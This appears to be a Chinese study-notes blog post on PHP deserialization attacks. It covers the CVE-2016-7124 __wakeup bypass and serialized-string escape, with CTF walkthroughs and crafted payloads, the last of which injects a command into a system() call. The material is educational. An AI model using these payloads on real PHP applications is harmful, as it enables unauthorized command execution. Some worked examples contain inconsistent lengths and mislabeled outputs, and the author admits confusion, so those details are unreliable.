小迪安全v2023学习笔记(六十一讲)—— 持续更新中

前记

  • 今天是学习小迪安全的第六十一天,本节课是PHP原生反序列化的最后一讲,主要就是其利用方式
  • 这节课比较难理解,尤其是字符串逃逸的内容,我还是按照自己的思路尽可能详细地把这个知识点讲清楚
  • 本篇笔记的内容可能与视频有些出入(主要是在演示案例上),所以尽量先观看一遍视频再来看我的笔记

WEB攻防——第六十一天

PHP反序列化&原生类 TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征

PHP - 属性类型-公有&私有&受保护

  • 在PHP中,对象的属性有三种访问控制符修饰
    1. public:公有属性,该属性可以在任何地方被访问(本类内部、外部类、子类)
    2. protected:受保护属性,只有在本类、子类或者父类中访问
    3. private:私有属性,只有本类内部可以访问
  • 在序列化中,不同的访问控制符修饰的属性会被转为不同的数据:
    1. public属性序列化后格式是正常的成员名
    2. private属性序列化后格式为 %00类名%00 成员名
    3. protected属性序列化后格式为 %00*%00 成员名
  • 简单的小例子:
O:4:"test":3:{s:4:"name";s:6:"xiaodi";s:9:" test age";s:2:"31";s:6:" * sex";s:3:"man";}
  • 但不管是什么,构造POP链的时候都按两种构造方法尝试一下:
    1. 按原有的控制符直接构造
    2. 按public控制符构造

PHP - 绕过漏洞-CVE&字符串逃逸

CVE-2016-7124
  • 漏洞描述:反序列化器在解析序列化字符串时,如果字符串中声明的属性个数大于实际给出的属性个数,PHP 会直接跳过 __wakeup() 的执行。

  • 影响版本PHP 5.x < 5.6.25PHP 7.x < 7.0.10

  • 利用条件:

    1. 目标脚本使用 unserialize() 且参数可控;
    2. 被反序列化的类定义了 __wakeup(),并在其中执行了安全校验或变量初始化;
    3. 同一类在 __destruct() / __toString() 等其它魔术方法里存在可利用的敏感操作(任意文件读写、命令执行等)。
  • 下面我们直接用ctf题目来看一看这个漏洞是如何利用的,题目是极客大挑战 2019
    在这里插入图片描述

  • 提示说有备份文件,这里可以用扫描工具扫出来为www.zip,下载下来后打开分析代码:
    在这里插入图片描述

  • flag.php里面的是假的flag,不管,我们先看index.php,主要代码是这个:

<?php  
include 'class.php';  
$select = $_GET['select'];  
$res=unserialize(@$select);  
?>
  • 需要我们传入的参数为select,然后对这个参数进行反序列化,现在我们看class.php
class Name{  
    private $username = 'nonono';  
    private $password = 'yesyes';  
  
    public function __construct($username,$password){  
        $this->username = $username;  
        $this->password = $password;  
    }  
  
    function __wakeup(){  
        $this->username = 'guest';  
    }  
  
    function __destruct(){  
        if ($this->password != 100) {  
            echo "</br>NO!!!hacker!!!</br>";  
            echo "You name is: ";  
            echo $this->username;echo "</br>";  
            echo "You password is: ";  
            echo $this->password;echo "</br>";  
            die();  
        }  
        if ($this->username === 'admin') {  
            global $flag;  
            echo $flag;  
        }else{  
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";  
            die();    
        }  
    }  
}
  • 他的逻辑是这样的,我们要拿到flag需要让username='admin'并且password=100

  • 但是现在他需要进行反序列化,那么在我们传入序列化数据之后,他会调用__wakeup()魔术方法去将我们的username改为guest

  • 也就是说,我们必须要想办法绕过__wakeup()方法,那我们就想到了这个漏洞,现在只需要看一看他的PHP版本符不符合利用条件

  • 直接抓包,或者F12看一看:
    在这里插入图片描述

  • 这里可以看到它的PHP版本为5.3.3,是符合利用条件的,那我们首先三步曲得到构造代码:

<?php  
class Name{  
    private $username = 'admin';  
    private $password = 100;  
}  
  
echo serialize(new Name());
// 输出:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
  • 现在传进去肯定是不行的,我们需要将Name后面的2改大一点,然后再利用,当然这里需要URL编码一下,因为特殊字符有点多:
    在这里插入图片描述

  • 注意!URL编码需要放到php中使用urlencode()进行编码,否则它的%00是没办法被编码的!

字符串逃逸
PHP特性
  • 在理解字符串逃逸之前,我们先来说一个很重要的东西,就是PHP的特性
  • 对于反序列化字符串,PHP是严格按照长度读取字符的,而不是依靠引号或者分号!
  • 底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外)并且是根据长度判断内容的
  • 比如有一个反序列化的字符串为:
$x = 'O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出:
a Object
(
    [name] => admin
    [age] => 20
)
*/
  • 我们将name值后面的部分加到xiaodi后面,变成这样:
$x = 'O:1:"a":2:{s:4:"name";s:23:"admin";s:3:"age";i:20;}";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出:
a Object
(
    [name] => admin";s:3:"age";i:20;}
    [age] => 20
)
*/
  • 从上面的例子就可以看出,PHP它是以前面的数字去进行切分的,而不是通过引号或者分号去切分!
  • 好,了解完这个特性之后,我们就去看什么是字符串逃逸
原理
  • 字符逃逸就是在序列化字符串被过滤(字符变多或变少)后,利用长度不匹配的特性,将攻击者构造的恶意数据“挤”进反序列化结果中
  • 现在有一个反序列化数据:
O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
  • 然后假设我们存在过滤或者替换,将admin替换为其他的字符,那这里就存在两种情况:
    1. 字符串增多:占位
    2. 字符串减少:补位
  • 现在我们来一一演示这两种情况:
字符串增多
  • 比如当将admin替换为hacker时(字符串增多!),也就是现在反序列化数据变成了:
O:1:"a":2:{s:4:"name";s:5:"hacker";s:3:"age";i:20;}
  • 由于是严格按照长度解析数据,所以现在就解析不了了,那我们怎么样能让他继续解析呢?

  • 我们可以先数一数admin后面共有多少个字符,这里是18个字符:
    在这里插入图片描述

  • 于是我们可以算一笔账:

现在:admin(5字符)    替换之后:hacker(6字符)
如果我写18个admin呢?就是 5 * 18 = 90个字符
那替换之后就变成了18个hacker  -->  就是 6 * 18 = 108个字符

那如果要让他识别到正确的字符串,我是不是还差18个字符?那这些字符谁补呢?
就是后面的";s:3:"age";i:20;}去补啊
  • 于是我们构造出来逃逸的反序列化数据就是:
O:1:"a":2:{s:4:"name";s:108:"adminadmi...admin";s:3:"age";i:20;}
								18个admin           18个其他字符

// 解析得到的对象为:
/*
a Object
(
    [name] => admin...admin";s:3:"age";i:20;}
)
*/
  • 那它替换之后,就变成了这个数据:
O:1:"a":2:{s:4:"name";s:108:"hacker...hacker";s:3:"age";i:20;}
								18个hacker
// 解析得到的对象为:
/*
a Object
(
    [name] => hacker...hacker
    [age] => 20
)
*/
  • 现在就可以很明显的看到区别了吧,替换之后,age逃逸出来了,那假如这个age我们一开始是不可控的,现在是不是就可控了?
字符串减少
  • 再比如当admin替换之后变成了hack(字符串减少!),现在反序列化数据就变成了:
O:1:"a":2:{s:4:"name";s:5:"hack";s:3:"age";i:20;}
  • 这同样也解析不了,因为分号被解析到字符串中了,所以他没办法读到下一个数据了。那这里又怎么让他解析呢?

  • 我们还是来数一数admin后面的数据长度:
    在这里插入图片描述

  • 这里有18个字符,好,我们继续来算笔账:

现在:admin(5个字符)    替换之后:hack(4个字符)
如果我写18个admin呢?就是 18 * 5 = 90 个字节
替换之后就变成了18个hack  -->  就是 18 * 4 = 72 个字节

那如果要让他识别到正确的字符串,我是不是最后这里还少了18个字节?
那这18个字节谁补给它呢?就正好是我们标注出来的18个字节啊
  • 于是我们构造出来逃逸的反序列化数据就是:
O:1:"a":2:{s:4:"name";s:90:"adminadmi...admin";s:3:"age";i:20;}";s:3:"age";i:999;}
					18个admin           18个其他字符
// 解析得到的对象为:
/*
a Object
(
    [name] => admin...admin
    [age] => 20
    // 舍弃掉后面的东西
)
*/
  • 那它替换之后,就变成了这个数据:
O:1:"a":2:{s:4:"name";s:90:"hack...hack";s:3:"age";i:20;}";s:3:"age";i:999;}
					18个hack
// 解析得到的对象为:
/*
a Object
(
    [name] => hacker...hacker";s:3:"age";i:20;}
    [age] => 999
    // 覆盖掉原来的age值
)
*/
  • 怎么说呢,我其实还是不太了解这个字符串逃逸的原理,我看网上资料和小迪讲得都不太一样,问AI也不一样
  • 但是能理解个大概,逃逸方式有多种多样,我是这种只可意会不可言传的阶段,你们多看几篇文章自己理解一下吧[哭]
实战案例
  • 这里的话,我们就不拿小迪课上的案例来演示了,因为我觉得那个都不太直观明了
  • 我就自己在网上找了一个例子(也是一个ctf题)来让大家更好地理解这个东西,源代码如下:
// flag in flag.php
function waf($str) {
	return str_replace("bad", "good", $str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
unserialize(waf(serialize(new GetFlag($_GET['key']))));
  • 这个题的逻辑就是只让我们输入key去构造一个对象,然后序列化、反序列化执行命令cmd
  • 那我们思路就很明了了,尝试去修改它的$cmd参数,导致命令执行
  • 这里如果我们直接去尝试构造POP链的话是没用的,因为它只接收key去生成对象,比如你构造为:
?key=123";s:3:"cmd";s:6:"whoami";}
  • 有什么用呢?没用的啊,它只是对key赋值,并不会改动cmd
  • 但是真的构造不了吗?我们可以看到有一个waf()函数,它会将我们传入的bad替换为good,那这个就会导致字符串增长,这不典型的字符串逃逸吗?
  • 这里我们简单分析一下,首先生成一个正常的反序列化数据,然后改动cmd的值为我们想要它执行的东西:
O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:2:"ls";}
  • 现在,我们数一数123后面的字符数有22个,于是我们写入22个bad把参数变成这样:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
  • 现在它传入之后一解析,key的值变成了badbad...bad";s:3:"cmd";s:2:"ls";},于是序列化之后的值为:
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
  • 如果此时不经过waf()函数替换,那么反序列化之后的对象就是这样:
/*
GetFlag Object
(
    [key] => badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
    [cmd] => whoami
)
*/
  • 再经过waf()函数替换,变成了这样:
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
  • 中间的good刚好88个字符,于是我们后面自己的cmd就逃逸出来了,赋值为ls,最终的对象为:
/*
GetFlag Object
(
    [key] => goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood
    [cmd] => ls
}
*/
  • 因此控制了cmd参数的值,这道题就解得差不多了
  • 那从上面这道例题,我相信你应该就能够了解字符串逃逸是个什么东西了,我是感觉能理解,但是很抽象
  • 这里就不演示小迪的案例了(太头痛了),有兴趣的小伙伴就自己下去复现一下吧
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值